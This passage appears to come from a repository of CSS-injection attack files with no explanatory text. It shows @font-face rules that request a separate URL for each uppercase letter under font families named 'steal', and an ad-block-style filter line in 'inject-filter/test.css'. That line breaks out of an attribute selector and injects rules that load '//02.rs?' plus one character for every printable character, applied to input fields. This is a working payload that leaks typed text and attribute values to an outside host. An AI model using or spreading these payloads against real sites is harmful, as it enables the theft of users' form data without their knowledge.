45 | src: url("/H"); 46 | unicode-range: U+0048; 47 | font-family: steal; 48 | } 49 | 50 | @font-face { 51 | src: url("/I"); 52 | unicode-range: U+0049; 53 | font-family: steal; 54 | } 55 | 56 | @font-face { 57 | src: url("/J"); 58 | unicode-range: U+004a; 59 | font-family: steal; 60 | } 61 | 62 | @font-face { 63 | src: url("/K"); 64 | unicode-range: U+004b; 65 | font-family: steal; 66 | } 67 | 68 | @font-face { 69 | src: url("/L"); 70 | unicode-range: U+004c; 71 | font-family: steal; 72 | } 73 | 74 | @font-face { 75 | src: url("/M"); 76 | unicode-range: U+004d; 77 | font-family: steal; 78 | } 79 | 80 | @font-face { 81 | src: url("/N"); 82 | unicode-range: U+004e; 83 | font-family: steal; 84 | } 85 | 86 | @font-face { 87 | src: url("/O"); 88 | unicode-range: U+004f; 89 | font-family: steal; 90 | } 91 | 92 | @font-face { 93 | src: url("/P"); 94 | unicode-range: U+0050; 95 | font-family: steal; 96 | } 97 | 98 | @font-face { 99 | src: url("/Q"); 100 | unicode-range: U+0051; 101 | font-family: steal; 102 | } 103 | 104 | @font-face { 105 | src: url("/R"); 106 | unicode-range: U+0052; 107 | font-family: steal; 108 | } 109 | 110 | @font-face { 111 | src: url("/S"); 112 | unicode-range: U+0053; 113 | font-family: steal; 114 | } 115 | 116 | @font-face { 117 | src: url("/T"); 118 | unicode-range: U+0054; 119 | font-family: steal; 120 | } 121 | 122 | @font-face { 123 | src: url("/U"); 124 | unicode-range: U+0055; 125 | font-family: steal; 126 | } 127 | 128 | @font-face { 129 | src: url("/V"); 130 | unicode-range: U+0056; 131 | font-family: steal; 132 | } 133 | 134 | @font-face { 135 | src: url("/W"); 136 | unicode-range: U+0057; 137 | font-family: steal; 138 | } 139 | 140 | @font-face { 141 | src: url("/X"); 142 | unicode-range: U+0058; 143 | font-family: steal; 144 | } 145 | 146 | @font-face { 147 | src: url("/Y"); 148 | unicode-range: U+0059; 149 | font-family: steal; 150 | } 151 | 152 | @font-face { 153 | src: url("/Z"); 154 | unicode-range: U+005a; 155 | font-family: steal; 156 | } 157 | 158 | 159 | @font-face { 160 | src: url("/A"); 161 | unicode-range: U+0041; 162 | font-family: steal2; 163 | } 164 | 165 | @font-face { 166 | src: url("/B"); 167 | unicode-range: U+0042; 168 | font-family: steal2; 169 | } 170 | 171 | @font-face { 172 | src: url("/C"); 173 | unicode-range: U+0043; 174 | font-family: steal2; 175 | } 176 | 177 | @font-face { 178 | src: url("/D"); 179 | unicode-range: U+0044; 180 | font-family: steal2; 181 | } 182 | 183 | @font-face { 184 | src: url("/E"); 185 | unicode-range: U+0045; 186 | font-family: steal2; 187 | } 188 | 189 | @font-face { 190 | src: url("/F"); 191 | unicode-range: U+0046; 192 | font-family: steal2; 193 | } 194 | 195 | @font-face { 196 | src: url("/G"); 197 | unicode-range: U+0047; 198 | font-family: steal2; 199 | } 200 | 201 | @font-face { 202 | src: url("/H"); 203 | unicode-range: U+0048; 204 | font-family: steal2; 205 | } 206 | 207 | @font-face { 208 | src: url("/I"); 209 | unicode-range: U+0049; 210 | font-family: steal2; 211 | } 212 | 213 | @font-face { 214 | src: url("/J"); 215 | unicode-range: U+004a; 216 | font-family: steal2; 217 | } 218 | 219 | @font-face { 220 | src: url("/K"); 221 | unicode-range: U+004b; 222 | font-family: steal2; 223 | } 224 | 225 | @font-face { 226 | src: url("/L"); 227 | unicode-range: U+004c; 228 | font-family: steal2; 229 | } 230 | 231 | @font-face { 232 | src: url("/M"); 233 | unicode-range: U+004d; 234 | font-family: steal2; 235 | } 236 | 237 | @font-face { 238 | src: url("/N"); 239 | unicode-range: U+004e; 240 | font-family: steal2; 241 | } 242 | 243 | @font-face { 244 | src: url("/O"); 245 | unicode-range: U+004f; 246 | font-family: steal2; 247 | } 248 | 249 | @font-face { 250 | src: url("/P"); 251 | unicode-range: U+0050; 252 | font-family: steal2; 253 | } 254 | 255 | @font-face { 256 | src: url("/Q"); 257 | unicode-range: U+0051; 258 | font-family: steal2; 259 | } 260 | 261 | @font-face { 262 | src: url("/R"); 263 | unicode-range: U+0052; 264 | font-family: steal2; 265 | } 266 | 267 | @font-face { 268 | src: url("/S"); 269 | unicode-range: U+0053; 270 | font-family: steal2; 271 | } 272 | 273 | @font-face { 274 | src: url("/T"); 275 | unicode-range: U+0054; 276 | font-family: steal2; 277 | } 278 | 279 | @font-face { 280 | src: url("/U"); 281 | unicode-range: U+0055; 282 | font-family: steal2; 283 | } 284 | 285 | @font-face { 286 | src: url("/V"); 287 | unicode-range: U+0056; 288 | font-family: steal2; 289 | } 290 | 291 | @font-face { 292 | src: url("/W"); 293 | unicode-range: U+0057; 294 | font-family: steal2; 295 | } 296 | 297 | @font-face { 298 | src: url("/X"); 299 | unicode-range: U+0058; 300 | font-family: steal2; 301 | } 302 | 303 | @font-face { 304 | src: url("/Y"); 305 | unicode-range: U+0059; 306 | font-family: steal2; 307 | } 308 | 309 | @font-face { 310 | src: url("/Z"); 311 | unicode-range: U+005a; 312 | font-family: steal2; 313 | } 314 | -------------------------------------------------------------------------------- /steal-attribute-values-checkboxes/steal-uppercase.css: -------------------------------------------------------------------------------- 1 | 2 | @font-face { 3 | src: url("/A"); 4 | unicode-range: U+0041; 5 | font-family: steal; 6 | } 7 | 8 | @font-face { 9 | src: url("/B"); 10 | unicode-range: U+0042; 11 | font-family: steal; 12 | } 13 | 14 | @font-face { 15 | src: url("/C"); 16 | unicode-range: U+0043; 17 | font-family: steal; 18 | } 19 | 20 | @font-face { 21 | src: url("/D"); 22 | unicode-range: U+0044; 23 | font-family: steal; 24 | } 25 | 26 | @font-face { 27 | src: url("/E"); 28 | unicode-range: U+0045; 29 | font-family: steal; 30 | } 31 | 32 | @font-face { 33 | src: url("/F"); 34 | unicode-range: U+0046; 35 | font-family: steal; 36 | } 37 | 38 | @font-face { 39 | src: url("/G"); 40 | unicode-range: U+0047; 41 | font-family: steal; 42 | } 43 | 44 | @font-face { 45 | src: url("/H"); 46 | unicode-range: U+0048; 47 | font-family: steal; 48 | } 49 | 50 | @font-face { 51 | src: url("/I"); 52 | unicode-range: U+0049; 53 | font-family: steal; 54 | } 55 | 56 | @font-face { 57 | src: url("/J"); 58 | unicode-range: U+004a; 59 | font-family: steal; 60 | } 61 | 62 | @font-face { 63 | src: url("/K"); 64 | unicode-range: U+004b; 65 | font-family: steal; 66 | } 67 | 68 | @font-face { 69 | src: url("/L"); 70 | unicode-range: U+004c; 71 | font-family: steal; 72 | } 73 | 74 | @font-face { 75 | src: url("/M"); 76 | unicode-range: U+004d; 77 | font-family: steal; 78 | } 79 | 80 | @font-face { 81 | src: url("/N"); 82 | unicode-range: U+004e; 83 | font-family: steal; 84 | } 85 | 86 | @font-face { 87 | src: url("/O"); 88 | unicode-range: U+004f; 89 | font-family: steal; 90 | } 91 | 92 | @font-face { 93 | src: url("/P"); 94 | unicode-range: U+0050; 95 | font-family: steal; 96 | } 97 | 98 | @font-face { 99 | src: url("/Q"); 100 | unicode-range: U+0051; 101 | font-family: steal; 102 | } 103 | 104 | @font-face { 105 | src: url("/R"); 106 | unicode-range: U+0052; 107 | font-family: steal; 108 | } 109 | 110 | @font-face { 111 | src: url("/S"); 112 | unicode-range: U+0053; 113 | font-family: steal; 114 | } 115 | 116 | @font-face { 117 | src: url("/T"); 118 | unicode-range: U+0054; 119 | font-family: steal; 120 | } 121 | 122 | @font-face { 123 | src: url("/U"); 124 | unicode-range: U+0055; 125 | font-family: steal; 126 | } 127 | 128 | @font-face { 129 | src: url("/V"); 130 | unicode-range: U+0056; 131 | font-family: steal; 132 | } 133 | 134 | @font-face { 135 | src: url("/W"); 136 | unicode-range: U+0057; 137 | font-family: steal; 138 | } 139 | 140 | @font-face { 141 | src: url("/X"); 142 | unicode-range: U+0058; 143 | font-family: steal; 144 | } 145 | 146 | @font-face { 147 | src: url("/Y"); 148 | unicode-range: U+0059; 149 | font-family: steal; 150 | } 151 | 152 | @font-face { 153 | src: url("/Z"); 154 | unicode-range: U+005a; 155 | font-family: steal; 156 | } 157 | 158 | 159 | @font-face { 160 | src: url("/A"); 161 | unicode-range: U+0041; 162 | font-family: steal2; 163 | } 164 | 165 | @font-face { 166 | src: url("/B"); 167 | unicode-range: U+0042; 168 | font-family: steal2; 169 | } 170 | 171 | @font-face { 172 | src: url("/C"); 173 | unicode-range: U+0043; 174 | font-family: steal2; 175 | } 176 | 177 | @font-face { 178 | src: url("/D"); 179 | unicode-range: U+0044; 180 | font-family: steal2; 181 | } 182 | 183 | @font-face { 184 | src: url("/E"); 185 | unicode-range: U+0045; 186 | font-family: steal2; 187 | } 188 | 189 | @font-face { 190 | src: url("/F"); 191 | unicode-range: U+0046; 192 | font-family: steal2; 193 | } 194 | 195 | @font-face { 196 | src: url("/G"); 197 | unicode-range: U+0047; 198 | font-family: steal2; 199 | } 200 | 201 | @font-face { 202 | src: url("/H"); 203 | unicode-range: U+0048; 204 | font-family: steal2; 205 | } 206 | 207 | @font-face { 208 | src: url("/I"); 209 | unicode-range: U+0049; 210 | font-family: steal2; 211 | } 212 | 213 | @font-face { 214 | src: url("/J"); 215 | unicode-range: U+004a; 216 | font-family: steal2; 217 | } 218 | 219 | @font-face { 220 | src: url("/K"); 221 | unicode-range: U+004b; 222 | font-family: steal2; 223 | } 224 | 225 | @font-face { 226 | src: url("/L"); 227 | unicode-range: U+004c; 228 | font-family: steal2; 229 | } 230 | 231 | @font-face { 232 | src: url("/M"); 233 | unicode-range: U+004d; 234 | font-family: steal2; 235 | } 236 | 237 | @font-face { 238 | src: url("/N"); 239 | unicode-range: U+004e; 240 | font-family: steal2; 241 | } 242 | 243 | @font-face { 244 | src: url("/O"); 245 | unicode-range: U+004f; 246 | font-family: steal2; 247 | } 248 | 249 | @font-face { 250 | src: url("/P"); 251 | unicode-range: U+0050; 252 | font-family: steal2; 253 | } 254 | 255 | @font-face { 256 | src: url("/Q"); 257 | unicode-range: U+0051; 258 | font-family: steal2; 259 | } 260 | 261 | @font-face { 262 | src: url("/R"); 263 | unicode-range: U+0052; 264 | font-family: steal2; 265 | } 266 | 267 | @font-face { 268 | src: url("/S"); 269 | unicode-range: U+0053; 270 | font-family: steal2; 271 | } 272 | 273 | @font-face { 274 | src: url("/T"); 275 | unicode-range: U+0054; 276 | font-family: steal2; 277 | } 278 | 279 | @font-face { 280 | src: url("/U"); 281 | unicode-range: U+0055; 282 | font-family: steal2; 283 | } 284 | 285 | @font-face { 286 | src: url("/V"); 287 | unicode-range: U+0056; 288 | font-family: steal2; 289 | } 290 | 291 | @font-face { 292 | src: url("/W"); 293 | unicode-range: U+0057; 294 | font-family: steal2; 295 | } 296 | 297 | @font-face { 298 | src: url("/X"); 299 | unicode-range: U+0058; 300 | font-family: steal2; 301 | } 302 | 303 | @font-face { 304 | src: url("/Y"); 305 | unicode-range: U+0059; 306 | font-family: steal2; 307 | } 308 | 309 | @font-face { 310 | src: url("/Z"); 311 | unicode-range: U+005a; 312 | font-family: steal2; 313 | } 314 | -------------------------------------------------------------------------------- /inject-filter/test.css: -------------------------------------------------------------------------------- 1 | ##input[value="123" /*/] 2 | ##input[value="123*/]{}@font-face{font-family:steal;src:url('//02.rs?%00');unicode-range:U+0000;}@font-face{font-family:steal;src:url('//02.rs?%01');unicode-range:U+0001;}@font-face{font-family:steal;src:url('//02.rs?%02');unicode-range:U+0002;}@font-face{font-family:steal;src:url('//02.rs?%03');unicode-range:U+0003;}@font-face{font-family:steal;src:url('//02.rs?%04');unicode-range:U+0004;}@font-face{font-family:steal;src:url('//02.rs?%05');unicode-range:U+0005;}@font-face{font-family:steal;src:url('//02.rs?%06');unicode-range:U+0006;}@font-face{font-family:steal;src:url('//02.rs?%07');unicode-range:U+0007;}@font-face{font-family:steal;src:url('//02.rs?%08');unicode-range:U+0008;}@font-face{font-family:steal;src:url('//02.rs?%09');unicode-range:U+0009;}@font-face{font-family:steal;src:url('//02.rs?%0A');unicode-range:U+000a;}@font-face{font-family:steal;src:url('//02.rs?%0B');unicode-range:U+000b;}@font-face{font-family:steal;src:url('//02.rs?%0C');unicode-range:U+000c;}@font-face{font-family:steal;src:url('//02.rs?%0D');unicode-range:U+000d;}@font-face{font-family:steal;src:url('//02.rs?%0E');unicode-range:U+000e;}@font-face{font-family:steal;src:url('//02.rs?%0F');unicode-range:U+000f;}@font-face{font-family:steal;src:url('//02.rs?%10');unicode-range:U+0010;}@font-face{font-family:steal;src:url('//02.rs?%11');unicode-range:U+0011;}@font-face{font-family:steal;src:url('//02.rs?%12');unicode-range:U+0012;}@font-face{font-family:steal;src:url('//02.rs?%13');unicode-range:U+0013;}@font-face{font-family:steal;src:url('//02.rs?%14');unicode-range:U+0014;}@font-face{font-family:steal;src:url('//02.rs?%15');unicode-range:U+0015;}@font-face{font-family:steal;src:url('//02.rs?%16');unicode-range:U+0016;}@font-face{font-family:steal;src:url('//02.rs?%17');unicode-range:U+0017;}@font-face{font-family:steal;src:url('//02.rs?%18');unicode-range:U+0018;}@font-face{font-family:steal;src:url('//02.rs?%19');unicode-range:U+0019;}@font-face{font-family:steal;src:url('//02.rs?%1A');unicode-range:U+001a;}@font-face{font-family:steal;src:url('//02.rs?%1B');unicode-range:U+001b;}@font-face{font-family:steal;src:url('//02.rs?%1C');unicode-range:U+001c;}@font-face{font-family:steal;src:url('//02.rs?%1D');unicode-range:U+001d;}@font-face{font-family:steal;src:url('//02.rs?%1E');unicode-range:U+001e;}@font-face{font-family:steal;src:url('//02.rs?%1F');unicode-range:U+001f;}@font-face{font-family:steal;src:url('//02.rs?%20');unicode-range:U+0020;}@font-face{font-family:steal;src:url('//02.rs?!');unicode-range:U+0021;}@font-face{font-family:steal;src:url('//02.rs?%22');unicode-range:U+0022;}@font-face{font-family:steal;src:url('//02.rs?%23');unicode-range:U+0023;}@font-face{font-family:steal;src:url('//02.rs?%24');unicode-range:U+0024;}@font-face{font-family:steal;src:url('//02.rs?%25');unicode-range:U+0025;}@font-face{font-family:steal;src:url('//02.rs?%26');unicode-range:U+0026;}@font-face{font-family:steal;src:url('//02.rs?%2527');unicode-range:U+0027;}@font-face{font-family:steal;src:url('//02.rs?(');unicode-range:U+0028;}@font-face{font-family:steal;src:url('//02.rs?)');unicode-range:U+0029;}@font-face{font-family:steal;src:url('//02.rs?*');unicode-range:U+002a;}@font-face{font-family:steal;src:url('//02.rs?%2B');unicode-range:U+002b;}@font-face{font-family:steal;src:url('//02.rs?%2C');unicode-range:U+002c;}@font-face{font-family:steal;src:url('//02.rs?-');unicode-range:U+002d;}@font-face{font-family:steal;src:url('//02.rs?.');unicode-range:U+002e;}@font-face{font-family:steal;src:url('//02.rs?%2F');unicode-range:U+002f;}@font-face{font-family:steal;src:url('//02.rs?0');unicode-range:U+0030;}@font-face{font-family:steal;src:url('//02.rs?1');unicode-range:U+0031;}@font-face{font-family:steal;src:url('//02.rs?2');unicode-range:U+0032;}@font-face{font-family:steal;src:url('//02.rs?3');unicode-range:U+0033;}@font-face{font-family:steal;src:url('//02.rs?4');unicode-range:U+0034;}@font-face{font-family:steal;src:url('//02.rs?5');unicode-range:U+0035;}@font-face{font-family:steal;src:url('//02.rs?6');unicode-range:U+0036;}@font-face{font-family:steal;src:url('//02.rs?7');unicode-range:U+0037;}@font-face{font-family:steal;src:url('//02.rs?8');unicode-range:U+0038;}@font-face{font-family:steal;src:url('//02.rs?9');unicode-range:U+0039;}@font-face{font-family:steal;src:url('//02.rs?%3A');unicode-range:U+003a;}@font-face{font-family:steal;src:url('//02.rs?%3B');unicode-range:U+003b;}@font-face{font-family:steal;src:url('//02.rs?%3C');unicode-range:U+003c;}@font-face{font-family:steal;src:url('//02.rs?%3D');unicode-range:U+003d;}@font-face{font-family:steal;src:url('//02.rs?%3E');unicode-range:U+003e;}@font-face{font-family:steal;src:url('//02.rs?%3F');unicode-range:U+003f;}@font-face{font-family:steal;src:url('//02.rs?%40');unicode-range:U+0040;}@font-face{font-family:steal;src:url('//02.rs?A');unicode-range:U+0041;}@font-face{font-family:steal;src:url('//02.rs?B');unicode-range:U+0042;}@font-face{font-family:steal;src:url('//02.rs?C');unicode-range:U+0043;}@font-face{font-family:steal;src:url('//02.rs?D');unicode-range:U+0044;}@font-face{font-family:steal;src:url('//02.rs?E');unicode-range:U+0045;}@font-face{font-family:steal;src:url('//02.rs?F');unicode-range:U+0046;}@font-face{font-family:steal;src:url('//02.rs?G');unicode-range:U+0047;}@font-face{font-family:steal;src:url('//02.rs?H');unicode-range:U+0048;}@font-face{font-family:steal;src:url('//02.rs?I');unicode-range:U+0049;}@font-face{font-family:steal;src:url('//02.rs?J');unicode-range:U+004a;}@font-face{font-family:steal;src:url('//02.rs?K');unicode-range:U+004b;}@font-face{font-family:steal;src:url('//02.rs?L');unicode-range:U+004c;}@font-face{font-family:steal;src:url('//02.rs?M');unicode-range:U+004d;}@font-face{font-family:steal;src:url('//02.rs?N');unicode-range:U+004e;}@font-face{font-family:steal;src:url('//02.rs?O');unicode-range:U+004f;}@font-face{font-family:steal;src:url('//02.rs?P');unicode-range:U+0050;}@font-face{font-family:steal;src:url('//02.rs?Q');unicode-range:U+0051;}@font-face{font-family:steal;src:url('//02.rs?R');unicode-range:U+0052;}@font-face{font-family:steal;src:url('//02.rs?S');unicode-range:U+0053;}@font-face{font-family:steal;src:url('//02.rs?T');unicode-range:U+0054;}@font-face{font-family:steal;src:url('//02.rs?U');unicode-range:U+0055;}@font-face{font-family:steal;src:url('//02.rs?V');unicode-range:U+0056;}@font-face{font-family:steal;src:url('//02.rs?W');unicode-range:U+0057;}@font-face{font-family:steal;src:url('//02.rs?X');unicode-range:U+0058;}@font-face{font-family:steal;src:url('//02.rs?Y');unicode-range:U+0059;}@font-face{font-family:steal;src:url('//02.rs?Z');unicode-range:U+005a;}@font-face{font-family:steal;src:url('//02.rs?%5B');unicode-range:U+005b;}@font-face{font-family:steal;src:url('//02.rs?%5C');unicode-range:U+005c;}@font-face{font-family:steal;src:url('//02.rs?%5D');unicode-range:U+005d;}@font-face{font-family:steal;src:url('//02.rs?%5E');unicode-range:U+005e;}@font-face{font-family:steal;src:url('//02.rs?_');unicode-range:U+005f;}@font-face{font-family:steal;src:url('//02.rs?%60');unicode-range:U+0060;}@font-face{font-family:steal;src:url('//02.rs?a');unicode-range:U+0061;}@font-face{font-family:steal;src:url('//02.rs?b');unicode-range:U+0062;}@font-face{font-family:steal;src:url('//02.rs?c');unicode-range:U+0063;}@font-face{font-family:steal;src:url('//02.rs?d');unicode-range:U+0064;}@font-face{font-family:steal;src:url('//02.rs?e');unicode-range:U+0065;}@font-face{font-family:steal;src:url('//02.rs?f');unicode-range:U+0066;}@font-face{font-family:steal;src:url('//02.rs?g');unicode-range:U+0067;}@font-face{font-family:steal;src:url('//02.rs?h');unicode-range:U+0068;}@font-face{font-family:steal;src:url('//02.rs?i');unicode-range:U+0069;}@font-face{font-family:steal;src:url('//02.rs?j');unicode-range:U+006a;}@font-face{font-family:steal;src:url('//02.rs?k');unicode-range:U+006b;}@font-face{font-family:steal;src:url('//02.rs?l');unicode-range:U+006c;}@font-face{font-family:steal;src:url('//02.rs?m');unicode-range:U+006d;}@font-face{font-family:steal;src:url('//02.rs?n');unicode-range:U+006e;}@font-face{font-family:steal;src:url('//02.rs?o');unicode-range:U+006f;}@font-face{font-family:steal;src:url('//02.rs?p');unicode-range:U+0070;}@font-face{font-family:steal;src:url('//02.rs?q');unicode-range:U+0071;}@font-face{font-family:steal;src:url('//02.rs?r');unicode-range:U+0072;}@font-face{font-family:steal;src:url('//02.rs?s');unicode-range:U+0073;}@font-face{font-family:steal;src:url('//02.rs?t');unicode-range:U+0074;}@font-face{font-family:steal;src:url('//02.rs?u');unicode-range:U+0075;}@font-face{font-family:steal;src:url('//02.rs?v');unicode-range:U+0076;}@font-face{font-family:steal;src:url('//02.rs?w');unicode-range:U+0077;}@font-face{font-family:steal;src:url('//02.rs?x');unicode-range:U+0078;}@font-face{font-family:steal;src:url('//02.rs?y');unicode-range:U+0079;}@font-face{font-family:steal;src:url('//02.rs?z');unicode-range:U+007a;}@font-face{font-family:steal;src:url('//02.rs?%7B');unicode-range:U+007b;}@font-face{font-family:steal;src:url('//02.rs?%7C');unicode-range:U+007c;}@font-face{font-family:steal;src:url('//02.rs?%7D');unicode-range:U+007d;}@font-face{font-family:steal;src:url('//02.rs?~');unicode-range:U+007e;}input{font-family: steal;}"] 3 | --------------------------------------------------------------------------------